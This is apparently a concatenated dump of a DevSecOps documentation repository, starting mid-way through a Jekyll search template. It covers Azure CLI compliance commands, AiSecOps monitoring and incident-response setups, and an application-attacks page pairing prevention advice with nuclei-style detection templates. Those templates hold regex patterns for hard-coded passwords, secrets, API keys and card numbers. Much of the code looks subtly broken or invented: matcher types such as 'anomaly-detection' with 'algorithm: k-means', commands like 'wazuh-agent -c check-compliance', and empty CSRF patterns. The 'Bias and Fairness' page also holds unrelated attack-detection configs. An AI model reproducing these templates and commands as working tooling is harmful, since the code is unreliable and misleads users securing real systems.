collection_entry[1] -%} {%- assign collection = site[collection_key] -%} {%- if collection_value.search_exclude != true -%} {%- assign pages_array = pages_array | push: collection -%} {%- endif -%} {%- endfor -%} {%- endif -%} {%- for pages in pages_array -%} {%- for page in pages -%} {%- if page.title and page.search_exclude != true -%} {%- assign page_content = page.content -%} {%- assign heading_level = site.search.heading_level | default: 2 -%} {%- for j in (2..heading_level) -%} {%- assign tag = '' -%} {%- assign title = titleAndContent[0] | replace_first: '>', '

' | split: '

' -%} {%- assign title = title[1] | strip_html -%} {%- assign content = titleAndContent[1] -%} {%- assign url = page.url -%} {%- if title == page.title and parts[0] == '' -%} {%- assign title_found = true -%} {%- else -%} {%- assign id = titleAndContent[0] -%} {%- assign id = id | split: 'id="' -%} {%- if id.size == 2 -%} {%- assign id = id[1] -%} {%- assign id = id | split: '"' -%} {%- assign id = id[0] -%} {%- capture url -%}{{ url | append: '#' | append: id }}{%- endcapture -%} {%- endif -%} {%- endif -%} {%- unless i == 0 -%},{%- endunless -%} "{{ i }}": { "doc": {{ page.title | jsonify }}, "title": {{ title | jsonify }}, "content": {{ content | replace: ' --scope --policy ``` - [ ] Azure Security Center Azure Security Center provides a unified view of security across your Azure resources. It offers recommendations and security alerts to help you identify and address security vulnerabilities and compliance issues. ``` az security assessment create --name --resource-group --scopes --standard-name ``` - [ ] Azure DevOps Pipelines Azure DevOps Pipelines is a CI/CD platform that allows you to automate the build, test, and deployment processes of your applications and infrastructure. ``` - task: AzureCLI@2 displayName: 'Run compliance check' inputs: azureSubscription: '' scriptLocation: 'inlineScript' inlineScript: | # Run compliance check command here ``` ## Logical Storage Isolation - [ ] Azure Storage Accounts Azure Storage Accounts provide a scalable and secure storage solution in Azure. You can create multiple storage accounts to achieve logical isolation of your data. ``` az storage account create --name --resource-group --location --kind StorageV2 --sku Standard_LRS ``` - [ ] Azure Virtual Networks Azure Virtual Networks allow you to create isolated network environments within Azure. You can associate your storage accounts with specific virtual networks to achieve logical network isolation. ``` az network vnet create --name --resource-group --location --address-prefixes 10.0.0.0/16 ``` - [ ] Azure RBAC (Role-Based Access Control) Azure RBAC enables you to manage access to Azure resources. By assigning appropriate roles and permissions, you can control who has access to your storage accounts and enforce logical access controls. ``` az role assignment create --assignee --role --scope ``` ## Enable encryption at rest - [ ] Azure Storage Service Encryption Azure Storage Service Encryption automatically encrypts your data at rest in Azure Storage Accounts. It uses Microsoft-managed keys to provide seamless encryption without any additional configuration. ``` az storage account update --name --resource-group --encryption-services blob --encryption-key-type Account --encryption-key-source Microsoft ``` - [ ] Azure Disk Encryption Azure Disk Encryption enables you to encrypt the OS and data disks of Azure Virtual Machines. It uses Azure Key Vault to securely store and manage the encryption keys. ``` az vm encryption enable --name --resource-group --disk-encryption-keyvault --volume-type all ``` - [ ] Azure Key Vault Azure Key Vault is a centralized cloud service for managing and safeguarding cryptographic keys, certificates, and secrets. You can use Key Vault to manage encryption keys used for encryption at rest in Azure. ``` az keyvault create --name --resource-group --location ``` ## Encryption in transit - [ ] Azure Application Gateway Azure Application Gateway is a web traffic load balancer that enables SSL termination at the gateway to ensure secure communication between clients and the backend servers. ``` az network application-gateway create --name --resource-group --frontend-ip-name --http-settings-cookie-based-affinity Disabled --http-settings-protocol Https --frontend-port 443 --http-settings-port 443 --ssl-cert --servers --sku Standard_v2 --public-ip-address --subnet --vnet-name ``` - [ ] Azure Load Balancer Azure Load Balancer distributes incoming network traffic across multiple resources to improve availability and scale applications. You can configure a Load Balancer with SSL/TLS termination to enable encryption in transit. ``` az network lb create --name --resource-group --frontend-ip-name --backend-pool-name --public-ip-address --protocol Tcp --frontend-port 443 --backend-port 443 --enable-tcp-reset --sku Standard ``` - [ ] Azure Traffic Manager Azure Traffic Manager enables you to distribute incoming traffic across multiple endpoints in different regions or Azure Availability Zones. It supports SSL/TLS termination at the Traffic Manager level to ensure secure communication. ``` az network traffic-manager profile create --name --resource-group --routing-method Priority --unique-dns-name --protocol Https --port 443 --path / ``` ## Customer-Managed Keys - [ ] Azure Key Vault Azure Key Vault is a cloud service that enables you to safeguard and control cryptographic keys, secrets, and certificates used by your applications and services. ``` az keyvault create --name --resource-group --location ``` - [ ] Azure Disk Encryption Azure Disk Encryption provides encryption at rest for virtual machine disks by using keys and secrets stored in Azure Key Vault. ``` az vm encryption enable --name --resource-group --disk-encryption-keyvault --volume-type [OS|Data] --volume-encryption-keyvault ``` - [ ] Azure Disk Encryption Set Azure Disk Encryption Set is a grouping of Azure managed disks that share the same encryption settings and policies. ``` az disk encryption-set create --name --resource-group --source-vault --encryption-key --key-encryption-key ``` ================================================ FILE: docs/aisecops/biasandfairness.md ================================================ --- layout: default title: Bias and Fairness parent: AiSecOps --- # Bias and Fairness {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Addressing issues related to bias and fairness in AI systems. This includes identifying and mitigating biases in training data, evaluating and measuring fairness metrics, and ensuring equitable outcomes across different demographic groups or protected classes. ## General Attack Detection via Suricata and OSSEC ``` apiVersion: v1 kind: ConfigMap metadata: name: attack-detection data: suricata.yaml: | vars: address-groups: INTERNAL_NET: "[192.168.0.0/16, 10.0.0.0/8]" rule-files: - botnet.rules - malware.rules - exploit.rules # Add more rule files as needed sensors: - interface: eth0 address-groups: - INTERNAL_NET ossec.conf: | rules/local_rules.xml /etc,/usr/bin /var/www,/var/log ``` In this example, we have configured Suricata to detect attacks on network traffic by providing rule files (`botnet.rules`, `malware.rules`, `exploit.rules`, etc.) and specifying the internal network address range (`INTERNAL_NET`) for analysis. OSSEC is configured to monitor system directories (`/etc`, `/usr/bin`, `/var/www`, etc.) for file integrity and log analysis to detect host-based attacks. ## Failure Detection via Prometheus and Grafana ``` apiVersion: v1 kind: ConfigMap metadata: name: failure-detection data: prometheus.yml: | global: scrape_interval: 15s scrape_configs: - job_name: network-failure-detection metrics_path: /metrics static_configs: - targets: - network-failure-detection-service:8080 - job_name: storage-failure-detection metrics_path: /metrics static_configs: - targets: - storage-failure-detection-service:8080 ``` In this example, we have configured Prometheus to scrape metrics from two different services: `network-failure-detection-service` and `storage-failure-detection-service`. Each service exposes metrics through the `/metrics` endpoint, which Prometheus collects and analyzes. Grafana can be used to visualize the collected metrics and set up alerts based on predefined rules or thresholds. ## Monitoring System via Failover Plan Automate the monitoring of critical systems and implement a failover plan for high availability using tools like Nagios and Pacemaker. - [ ] Install and configure Nagios for system monitoring and Pacemaker for high availability failover. ``` # Install Nagios sudo apt-get install nagios4 # Configure Nagios sudo vi /etc/nagios4/nagios.cfg # Install Pacemaker sudo apt-get install pacemaker # Configure Pacemaker sudo crm configure ``` - [ ] Define Monitoring Checks Define monitoring checks in Nagios to monitor critical systems, such as servers, network devices, and databases. ``` # Define a new monitoring check in Nagios sudo vi /etc/nagios4/conf.d/commands.cfg # Configure the monitoring check define command { command_name check_critical_system command_line /usr/lib/nagios/plugins/check_critical_system.sh } # Define a new service check for a critical system sudo vi /etc/nagios4/conf.d/services.cfg # Configure the service check define service { host_name critical_system service_description CPU Usage check_command check_critical_system } ``` - [ ] Implement High Availability Failover Configure Pacemaker to implement high availability failover for critical systems. ``` # Configure Pacemaker to manage the resources sudo crm configure # Create a new resource group for the critical system sudo crm configure primitive critical_system ocf:heartbeat:IPaddr2 params ip="192.168.1.100" cidr_netmask="24" op monitor interval="30s" # Configure a colocation constraint to ensure the critical system resource is running on the active node sudo crm configure colocation critical_system_on_active inf: critical_system cluster-attrd ``` - [ ] Monitoring and Failover Testing Monitor the critical systems using Nagios and test the failover capabilities of the Pacemaker cluster. ``` # Start Nagios service sudo systemctl start nagios # Monitor critical systems using Nagios web interface # Simulate a critical system failure to trigger failover sudo crm resource stop critical_system ``` - [ ] Failback and Recovery Perform failback and recovery procedures once the critical system is restored. ``` # Bring the critical system back online sudo crm resource start critical_system # Monitor the system and verify successful failback sudo systemctl status critical_system ``` ## Smart Alerts Automate intelligent alerting based on predefined rules and thresholds using tools like Prometheus and Alertmanager. - [ ] Installation and Configuration Install and configure Prometheus for monitoring and Alertmanager for intelligent alerting. ``` # Install Prometheus wget https://github.com/prometheus/prometheus/releases/download/v2.30.3/prometheus-2.30.3.linux-amd64.tar.gz tar xvfz prometheus-2.30.3.linux-amd64.tar.gz cd prometheus-2.30.3.linux-amd64/ ./prometheus # Install Alertmanager wget https://github.com/prometheus/alertmanager/releases/download/v0.23.0/alertmanager-0.23.0.linux-amd64.tar.gz tar xvfz alertmanager-0.23.0.linux-amd64.tar.gz cd alertmanager-0.23.0.linux-amd64/ ./alertmanager ``` - [ ] Define Alerting Rules Define alerting rules in Prometheus to monitor metrics and trigger alerts based on predefined thresholds. ``` # Define alerting rules in Prometheus configuration file sudo vi /etc/prometheus/prometheus.yml # Example alerting rule for high CPU usage alert: HighCPUUsage expr: node_cpu_usage > 90 for: 5m labels: severity: critical annotations: summary: High CPU Usage Alert description: The CPU usage is above the threshold (90%) for 5 minutes. ``` - [ ] Configure Alertmanager Configure Alertmanager to receive alerts from Prometheus and send notifications via various channels (e.g., email, Slack). ``` # Configure Alertmanager sudo vi /etc/alertmanager/alertmanager.yml # Example configuration for email notifications receivers: - name: 'email-notifications' email_configs: - to: 'admin@example.com' from: 'alertmanager@example.com' smarthost: 'smtp.example.com:587' auth_username: 'username' auth_password: 'password' ``` - [ ] Testing Alerting Rules Simulate metric violations to test the alerting rules and ensure alerts are triggered correctly. ``` # Generate high CPU usage for testing stress --cpu 4 --timeout 300 # Verify that the HighCPUUsage alert is triggered curl http://localhost:9090/api/v1/alerts ``` - [ ] Notification and Escalation Define notification and escalation procedures to ensure alerts are received and acted upon in a timely manner. ``` # Implement additional notification channels (e.g., Slack, PagerDuty) in Alertmanager configuration file sudo vi /etc/alertmanager/alertmanager.yml # Example configuration for Slack notifications receivers: - name: 'slack-notifications' slack_configs: - api_url: 'https://hooks.slack.com/services/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX' channel: '#alerts' ``` ## Incident Response Automation Automate incident response processes using tools like TheHive or Demisto. - [ ] Automate Incident Creation Set up integrations to automatically create incidents in TheHive when security events or alerts are detected. ``` curl -X POST -H "Content-Type: application/json" -d '{"title": "New Incident", "description": "This is a new incident", "severity": 2}' http://:9000/api/case ``` or ``` curl -X POST -H "Content-Type: application/json" -d '{"incidentName": "New Incident", "severity": 2, "description": "This is a new incident"}' http://:8443/api/v2/incidents ``` - [ ] Automate Incident Triage Define automated workflows and playbooks in TheHive to triage and classify incidents based on predefined criteria. * Define custom analyzer scripts in TheHive to automatically analyze incoming incidents using supported languages like Python. * Create case templates and associated response playbooks to guide the incident triage process. - [ ] Automate Incident Response Integrate TheHive with other security tools and orchestration platforms to automate incident response actions. ``` curl -X POST -H "Content-Type: application/json" -d '{"type": "firewall_block", "source": "192.168.1.100", "destination": "www.example.com", "action": "block"}' http://:9000/api/cortex/analyzer ``` or ``` curl -X POST -H "Content-Type: application/json" -d '{"action": "block", "ip": "192.168.1.100"}' http://:8443/api/v2/automations/firewall_block ``` ## Security Configuration Management Automate security configuration management using tools like Ansible or Puppet. ## Compliance Monitoring and Reporting Automate compliance monitoring and reporting using tools like OpenSCAP or Wazuh. ``` #!/bin/bash # Define the target hosts HOSTS=(host1 host2 host3) # Define the output directory OUTPUT_DIR="/path/to/output/directory" # Loop through the target hosts for host in "${HOSTS[@]}"; do # Run OpenSCAP scan on the host and generate the report oscap xccdf eval --profile C2S --results "$OUTPUT_DIR/$host-report.xml" --report "$OUTPUT_DIR/$host-report.html" "xccdf_file.xml" "ssh://$host" done ``` or ``` #!/bin/bash # Define the target hosts HOSTS=(host1 host2 host3) # Define the output directory OUTPUT_DIR="/path/to/output/directory" # Loop through the target hosts for host in "${HOSTS[@]}"; do # Run Wazuh agent scan on the host wazuh-agent -c check-compliance -q -i "$host" > "$OUTPUT_DIR/$host-compliance.txt" done ``` ## Threat Intelligence Integration Automate the integration of threat intelligence feeds using tools like MISP or STIX/TAXII. ``` #!/bin/bash # Set the MISP URL and API key MISP_URL="https://your-misp-instance.com" API_KEY="your-misp-api-key" # Define the path to the threat intelligence feed file FEED_FILE="/path/to/threat-intelligence-feed.json" # Import the threat intelligence feed into MISP misp-import -u "$MISP_URL" -k "$API_KEY" -i "$FEED_FILE" ``` ## Security Log Analysis Automate the analysis of security logs using tools like ELK Stack (Elasticsearch, Logstash, Kibana) or Splunk. - [ ] Anomaly Detection in User Access Logs Use AI algorithms to detect anomalies in user access logs, such as unusual login patterns, unexpected IP addresses, or abnormal resource access. ``` id: anomaly-detection info: name: Anomaly Detection in User Access Logs author: Your Name severity: medium requests: - method: GET path: /logs/access matchers-condition: and matchers: - anomaly-detection: field: user algorithm: k-means threshold: 3 ``` - [ ] Detection of Brute Force Attacks Apply AI-based algorithms to identify patterns indicative of brute force attacks in authentication logs. ``` id: brute-force-detection info: name: Detection of Brute Force Attacks author: Your Name severity: high requests: - method: POST path: /logs/authentication matchers-condition: and matchers: - brute-force-detection: field: username threshold: 5 ``` - [ ] Identification of SQL Injection Attempts Utilize AI techniques to detect suspicious SQL injection attempts in database logs. ``` id: sql-injection-detection info: name: Identification of SQL Injection Attempts author: Your Name severity: high requests: - method: POST path: /logs/database matchers-condition: and matchers: - sql-injection-detection: field: query algorithm: neural-network threshold: 0.8 ``` - [ ] Malware Detection in File Transfer Logs Apply AI algorithms to identify potential malware or malicious files in file transfer logs. ``` id: malware-detection info: name: Malware Detection in File Transfer Logs author: Your Name severity: medium requests: - method: GET path: /logs/file-transfer matchers-condition: and matchers: - malware-detection: field: filename algorithm: machine-learning threshold: 0.9 ``` - [ ] Detection of Abnormal Network Traffic Utilize AI-based algorithms to detect abnormal network traffic patterns in network logs. ``` id: abnormal-traffic-detection info: name: Detection of Abnormal Network Traffic author: Your Name severity: high requests: - method: GET path: /logs/network matchers-condition: and matchers: - abnormal-traffic-detection: field: source_ip algorithm: deep-learning threshold: 0.95 ``` ## Automated Security Testing Automate security testing processes like vulnerability scanning, penetration testing, or code review using tools like OWASP ZAP, Burp Suite, or SonarQube. - [ ] API Security Testing Automate security testing of APIs using AI algorithms to identify vulnerabilities such as injection attacks, broken authentication, or insecure direct object references. ``` id: api-security-testing info: name: API Security Testing author: Your Name severity: high requests: - method: POST path: /api/{endpoint} matchers-condition: and matchers: - injection-attack: fields: [payload, headers] - broken-authentication: field: headers.authorization - insecure-direct-object-references: fields: [params.id, body.id] ``` - [ ] Web Application Security Testing Automate security testing of web applications using AI algorithms to identify vulnerabilities such as cross-site scripting (XSS), SQL injection, or insecure deserialization. ``` id: web-app-security-testing info: name: Web Application Security Testing author: Your Name severity: high requests: - method: POST path: /app/{page} matchers-condition: and matchers: - cross-site-scripting: field: body - sql-injection: field: params.query - insecure-deserialization: field: body ``` - [ ] Network Vulnerability Scanning Automate vulnerability scanning of network infrastructure using AI algorithms to identify vulnerabilities such as open ports, weak configurations, or outdated software. ``` id: network-vulnerability-scanning info: name: Network Vulnerability Scanning author: Your Name severity: medium requests: - method: GET path: /network/{host} matchers-condition: and matchers: - open-ports: field: params.ports - weak-configurations: field: headers - outdated-software: field: body ``` - [ ] Mobile Application Security Testing Automate security testing of mobile applications using AI algorithms to identify vulnerabilities such as insecure data storage, sensitive information leakage, or insecure communication. ``` id: mobile-app-security-testing info: name: Mobile Application Security Testing author: Your Name severity: high requests: - method: POST path: /app/{endpoint} matchers-condition: and matchers: - insecure-data-storage: field: body - sensitive-information-leakage: field: body - insecure-communication: field: headers ``` - [ ] Cloud Infrastructure Security Testing Automate security testing of cloud infrastructure using AI algorithms to identify vulnerabilities such as misconfigured permissions, exposed storage, or weak authentication mechanisms. ``` id: cloud-infra-security-testing info: name: Cloud Infrastructure Security Testing author: Your Name severity: high requests: - method: GET path: /cloud/{service} matchers-condition: and matchers: - misconfigured-permissions: field: body - exposed-storage: field: params.bucket - weak-authentication: field: headers.authorization - insecure-network-config: field: params.vpc_id ``` ## Selefra: open-source policy-as-code software that offers analytics for multi-cloud and SaaS environments - [ ] Configure Selefra: ``` $ selefra configure --provider --credentials ``` - [ ] Create a Policy: ``` # policy.yaml metadata: name: S3BucketPolicyCheck rules: - name: Ensure S3 bucket policy exists resource_type: aws_s3_bucket_policy condition: resource.exists() ``` - [ ] Run Policy Check: ``` $ selefra check --policy policy.yaml --resources ``` - [ ] View Policy Violations: ``` $ selefra violations --policy policy.yaml --resources ``` ================================================ FILE: docs/aisecops/driver.md ================================================ --- layout: default title: Driver parent: AiSecOps --- # Driver {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## OWASP Top 10 LLM The OWASP Top 10 for Large Language Model Applications is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to Large Language Model (LLM) applications. https://github.com/OWASP/www-project-top-10-for-large-language-model-applications ================================================ FILE: docs/attacks/application.md ================================================ --- layout: default title: Application Attacks parent: Attacks --- # Application Attacks {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ### Exposure of sensitive information Exposure of sensitive information refers to the unintentional or unauthorized disclosure of confidential or private data to individuals or systems that are not supposed to have access to it. This can occur through various means, such as insecure storage, transmission, or handling of sensitive data. Sensitive information can include personally identifiable information (PII) like names, addresses, social security numbers, financial data, login credentials, medical records, or any other data that, if exposed, could lead to identity theft, financial loss, or other harmful consequences. To prevent exposure of sensitive information, it is important to implement appropriate security measures. Here are some preventive measures: 1. Data classification: Classify your data based on sensitivity and define access controls accordingly. Identify and categorize sensitive information so that you can apply stronger security measures to protect it. 1. Secure storage: Use secure storage mechanisms to protect sensitive data, such as encryption, hashing, or tokenization. Ensure that data is stored in a secure environment, whether it's in databases, file systems, or other storage mediums. 1. Secure transmission: Implement secure communication protocols, such as HTTPS, SSL/TLS, or other encryption mechanisms, when transmitting sensitive data over networks. This helps prevent eavesdropping or unauthorized interception of data during transit. 1. Access controls: Implement strong access controls to limit access to sensitive information. Use authentication and authorization mechanisms to ensure that only authorized individuals or systems can access and modify sensitive data. 1. Secure coding practices: Follow secure coding practices to avoid common vulnerabilities, such as injection attacks or insecure direct object references. Validate and sanitize user input to prevent malicious data from being processed or displayed. 1. Secure configuration: Ensure that your systems and applications are securely configured, including the use of strong passwords, disabling unnecessary services or features, and regularly updating and patching software to address security vulnerabilities. 1. Regular security assessments: Conduct regular security assessments, including vulnerability scanning and penetration testing, to identify any potential weaknesses or vulnerabilities that could lead to the exposure of sensitive information. 1. Employee training and awareness: Train your employees on security best practices, including how to handle sensitive information, the importance of data protection, and how to recognize and report security incidents or suspicious activities. 1. Data minimization: Collect and retain only the necessary data. Avoid storing or keeping sensitive information for longer than necessary. 1. Privacy by design: Incorporate privacy and security considerations into the design and development of your systems and applications. Implement privacy-enhancing technologies and practices from the outset. By implementing these preventive measures and adopting a comprehensive approach to data security, you can significantly reduce the risk of sensitive information exposure and protect the privacy and confidentiality of your data. ``` id: exposure-sensitive-information info: name: Exposure of Sensitive Information author: Your Name severity: medium description: Detects potential exposure of sensitive information in web applications. references: - https://example.com tags: - web - sensitive-information requests: - name: Exposed Secrets path: - / - /admin matchers: - type: word words: - api_key - password - secret_key attacks: - type: word words: - error - unauthorized - type: word words: - access denied - forbidden ``` ### Insertion of Sensitive Information Into Sent Data Insertion of sensitive information into sent data refers to the inadvertent inclusion of confidential or private data into logs, error messages, debug output, or any other form of data that is sent or logged externally. This can occur when sensitive information, such as passwords, API keys, or personally identifiable information (PII), is included in plaintext or unencrypted form, making it accessible to unauthorized individuals or systems. To prevent the insertion of sensitive information into sent data, you can follow these preventive measures: 1. Data masking: Avoid including sensitive information in logs, error messages, or any other form of output. Implement data masking techniques, such as replacing sensitive data with placeholders or obfuscating it, to prevent the exposure of sensitive information. 1. Secure logging: Configure logging mechanisms to exclude sensitive information from being logged. Implement proper log filtering or redaction techniques to remove or mask sensitive data before it is written to log files. 1. Context-based logging: When logging or outputting data, consider the context and purpose of the logged information. Exclude any unnecessary or sensitive data from being included in the logs or output. 1. Tokenization or encryption: If it is necessary to include sensitive information in logs or output for debugging or troubleshooting purposes, tokenize or encrypt the sensitive data to render it unreadable. Ensure that only authorized individuals or systems have access to the keys or tokens required for decryption. 1. Secure error handling: When handling errors, avoid displaying sensitive information in error messages presented to users. Instead, provide generic error messages that do not reveal specific details about the underlying sensitive data or system. 1. Secure coding practices: Follow secure coding practices to prevent unintentional insertion of sensitive information into sent data. Ensure that sensitive data is properly handled, encrypted, or obfuscated throughout the application's lifecycle. 1. Data separation: Consider separating sensitive data from other non-sensitive data, both in storage and during transmission. Implement proper data segregation mechanisms to reduce the risk of sensitive information being inadvertently included in sent data. 1. Regular code reviews and testing: Conduct regular code reviews and security testing to identify any potential areas where sensitive information might be included in sent data. Perform thorough testing to ensure that sensitive data is not exposed during normal system operations or error conditions. 1. Employee training and awareness: Train your development team and system administrators about the importance of handling sensitive information securely. Educate them on best practices for data protection and the potential risks associated with the insertion of sensitive information into sent data. By implementing these preventive measures, you can reduce the risk of sensitive information being inadvertently included in sent data, protecting the confidentiality and privacy of your data and minimizing the potential impact of a security breach. ``` id: insertion-sensitive-information info: name: Insertion of Sensitive Information Into Sent Data author: Your Name severity: high description: Detects potential insertion of sensitive information into sent data in web applications. references: - https://example.com tags: - web - sensitive-information requests: - name: Email Leakage path: - / - /login matchers: - type: word words: - email attacks: - type: word words: - @example.com - type: word words: - .com - .net - name: Credit Card Data Leakage path: - /checkout matchers: - type: regex part: body words: - '[0-9]{16}' - '[0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{4}' attacks: - type: word words: - found - exposed ``` ### Cross-Site Request Forgery (CSRF) Cross-Site Request Forgery (CSRF) is a type of web vulnerability where an attacker tricks a victim into unknowingly executing unwanted actions on a web application in which the victim is authenticated. The attack occurs when the victim visits a malicious website or clicks on a specially crafted link, resulting in unauthorized actions being performed on their behalf on the targeted web application. To prevent Cross-Site Request Forgery attacks, you can follow these preventive measures: 1. CSRF tokens: Implement CSRF tokens as a defense mechanism. Include a unique token in each HTML form or request that modifies state on the server. This token should be validated on the server-side to ensure that the request is legitimate and originated from the same site. 1. Same-Site cookies: Set the SameSite attribute on your session cookies to Strict or Lax. This prevents cookies from being sent in cross-origin requests, effectively mitigating CSRF attacks. 1. Anti-CSRF frameworks: Utilize anti-CSRF frameworks or libraries provided by your web development framework. These frameworks often automate the generation and validation of CSRF tokens, making it easier to implement and maintain protection against CSRF attacks. 1. Unique session identifiers: Ensure that each user session has a unique identifier. This helps prevent session fixation attacks, which could be used in combination with CSRF attacks. 1. Request validation: Validate the integrity and authenticity of incoming requests on the server-side. Check for the presence and correctness of CSRF tokens, referer headers, or other request attributes that can help identify the origin of the request. 1. Strict access controls: Enforce strict access controls on sensitive operations and resources. Implement proper authentication and authorization mechanisms to ensure that only authorized users can perform critical actions. 1. User awareness: Educate your users about the risks of CSRF attacks and encourage them to be cautious when clicking on links or visiting unfamiliar websites. Provide guidance on recognizing and reporting suspicious behavior. 1. Secure coding practices: Follow secure coding practices to minimize the risk of introducing vulnerabilities. Validate and sanitize user input, implement proper access controls, and regularly update and patch your software to address any potential security vulnerabilities. 1. Security testing: Perform regular security testing, including vulnerability scanning and penetration testing, to identify and address any potential CSRF vulnerabilities in your web application. By implementing these preventive measures and maintaining a strong security posture, you can significantly reduce the risk of Cross-Site Request Forgery attacks and protect the integrity of your web application and user data. ``` id: csrf info: name: Cross-Site Request Forgery (CSRF) author: Your Name severity: high description: Detects potential Cross-Site Request Forgery vulnerabilities in web applications. references: - https://example.com tags: - web - csrf requests: - name: CSRF Token Check path: - / - /profile - /admin matchers: - type: word words: - csrf_token - authenticity_token attacks: - type: word words: -
- type: regex part: body words: - '' - '' ``` ### Use of Hard-coded Password The use of hard-coded passwords refers to the practice of embedding passwords directly into source code or configuration files, making them easily discoverable by anyone with access to the code or files. This is considered a poor security practice as it can lead to unauthorized access and compromise of sensitive information. To prevent the use of hard-coded passwords, you can follow these preventive measures: 1. Use secure credential storage: Instead of hard-coding passwords, utilize secure credential storage mechanisms provided by your development platform or framework. These mechanisms allow you to securely store and retrieve passwords, such as using secure key stores, environment variables, or configuration files with restricted access. 1. Implement authentication mechanisms: Implement proper authentication mechanisms instead of relying solely on hard-coded passwords. Use strong password hashing algorithms, salted hashes, or better yet, consider using more secure authentication methods like token-based authentication or OAuth. 1. Separate configuration from code: Keep sensitive information, including passwords, separate from your codebase. Store them in secure configuration files or use environment variables to store sensitive configuration details. Ensure that these files or variables are not accessible by unauthorized individuals. 1. Apply access controls: Limit access to configuration files or secure credential storage to only authorized individuals or systems. Follow the principle of least privilege, granting access only to those who need it for operational purposes. 1. Utilize secrets management tools: Leverage secrets management tools or platforms that provide secure storage, rotation, and access control for sensitive information such as passwords, API keys, and cryptographic keys. These tools often offer encryption, access logging, and additional security features to protect your secrets. 1. Secure deployment process: Implement secure deployment practices to ensure that passwords are not exposed during deployment or in version control systems. Avoid including sensitive information in code repositories or build artifacts. 1. Regularly rotate passwords: Enforce a password rotation policy to regularly update passwords. This reduces the impact of compromised credentials and limits the window of opportunity for attackers. 1. Secure code review: Conduct regular code reviews to identify and remove any instances of hard-coded passwords. Train developers to be aware of the risks associated with hard-coding passwords and provide them with secure alternatives and best practices. 1. Automated security tools: Use automated security scanning tools or static code analysis tools to identify instances of hard-coded passwords and other security vulnerabilities in your codebase. By implementing these preventive measures, you can minimize the risk of hard-coded passwords and enhance the security of your application and sensitive data. It is crucial to follow secure coding practices, regularly review and update security controls, and stay informed about emerging best practices and vulnerabilities to maintain a strong security posture. ``` id: hard-coded-password info: name: Use of Hard-coded Password author: Your Name severity: high description: Detects the use of hard-coded passwords in source code or configuration files. references: - https://example.com tags: - credentials requests: - name: Hard-coded Password Check path: - / - /login - /admin matchers: - type: word words: - password - secret - api_key attacks: - type: regex part: body words: - 'password = ".*"' - 'password: ".*"' - 'password: .*' - type: regex part: body words: - 'secret = ".*"' - 'secret: ".*"' - 'secret: .*' - type: regex part: body words: - 'api_key = ".*"' - 'api_key: ".*"' - 'api_key: .*' ``` ### Broken or Risky Crypto Algorithm A broken or risky cryptographic algorithm refers to the use of encryption or hashing algorithms that have known vulnerabilities or weaknesses. These vulnerabilities could be due to outdated or deprecated algorithms, insecure key sizes, poor implementation, or inadequate cryptographic practices. Such weaknesses can be exploited by attackers, potentially compromising the confidentiality, integrity, or authenticity of sensitive data. To prevent the use of broken or risky crypto algorithms, you can follow these preventive measures: 1. Stay updated with cryptographic standards: Keep abreast of the latest cryptographic standards and recommendations from reputable sources, such as NIST (National Institute of Standards and Technology) or IETF (Internet Engineering Task Force). Stay informed about any vulnerabilities or weaknesses discovered in existing algorithms and make necessary updates to your cryptographic implementations. 1. Use strong and approved algorithms: Select cryptographic algorithms that are widely recognized, thoroughly tested, and recommended by cryptographic experts. Examples of secure algorithms include AES (Advanced Encryption Standard) for symmetric encryption, RSA or ECDSA for asymmetric encryption, and SHA-256 or SHA-3 for hashing. 1. Avoid deprecated or weakened algorithms: Stay away from deprecated or weakened cryptographic algorithms, such as DES (Data Encryption Standard) or MD5 (Message Digest Algorithm 5). These algorithms have known vulnerabilities and are no longer considered secure for most applications. 1. Use appropriate key sizes: Ensure that the key sizes used in your cryptographic algorithms are appropriate for the level of security required. Use key sizes recommended by cryptographic standards, taking into account the strength of the algorithm and the anticipated lifespan of the data being protected. 1. Secure key management: Implement robust key management practices, including the secure generation, storage, and distribution of cryptographic keys. Protect keys from unauthorized access, and regularly rotate or update keys as per best practices. 1. Use secure random number generation: Cryptographic operations often rely on random numbers for key generation, initialization vectors, and nonces. Use a cryptographically secure random number generator (CSPRNG) to ensure the randomness and unpredictability of these values. 1. Third-party library evaluation: When using cryptographic libraries or frameworks, evaluate their reputation, security track record, and community support. Choose well-established libraries that have undergone security audits and are actively maintained to minimize the risk of using broken or insecure crypto algorithms. 1. Independent security reviews: Conduct independent security reviews or audits of your cryptographic implementations to identify any weaknesses, vulnerabilities, or misconfigurations. Engage security professionals or external auditors with expertise in cryptography to assess your cryptographic practices. 1. Ongoing monitoring and updates: Stay vigilant about emerging cryptographic vulnerabilities or attacks. Monitor security advisories and updates from cryptographic standards organizations, vendors, and the broader security community. Apply patches, updates, or configuration changes as necessary to address any identified vulnerabilities. By following these preventive measures and adopting strong cryptographic practices, you can significantly reduce the risk of using broken or risky crypto algorithms and enhance the security of your application's sensitive data. It is essential to maintain an active stance in staying informed about cryptographic best practices and evolving security threats to ensure the continued security of your cryptographic implementations. ``` id: broken-crypto-algorithm info: name: Broken or Risky Crypto Algorithm author: Your Name severity: medium description: Detects the use of broken or risky cryptographic algorithms in TLS configurations or code. references: - https://example.com tags: - cryptography requests: - name: Weak Crypto Algorithm Check path: - / - /login - /admin matchers: - type: word words: - ssl_version - cipher_suite - crypto_algorithm attacks: - type: regex part: body words: - 'ssl_version = ".*"' - 'cipher_suite = ".*"' - 'crypto_algorithm = ".*"' - type: regex part: body words: - 'ssl_version: ".*"' - 'cipher_suite: ".*"' - 'crypto_algorithm: ".*"' - type: regex part: body words: - 'algorithm = ".*"' - 'algorithm: ".*"' ``` ### Risky Crypto Algorithm A broken or risky cryptographic algorithm refers to the use of encryption or hashing algorithms that have known vulnerabilities or weaknesses. These vulnerabilities could be due to outdated or deprecated algorithms, insecure key sizes, poor implementation, or inadequate cryptographic practices. Such weaknesses can be exploited by attackers, potentially compromising the confidentiality, integrity, or authenticity of sensitive data. To prevent the use of broken or risky crypto algorithms, you can follow these preventive measures: 1. Stay updated with cryptographic standards: Keep abreast of the latest cryptographic standards and recommendations from reputable sources, such as NIST (National Institute of Standards and Technology) or IETF (Internet Engineering Task Force). Stay informed about any vulnerabilities or weaknesses discovered in existing algorithms and make necessary updates to your cryptographic implementations. 1. Use strong and approved algorithms: Select 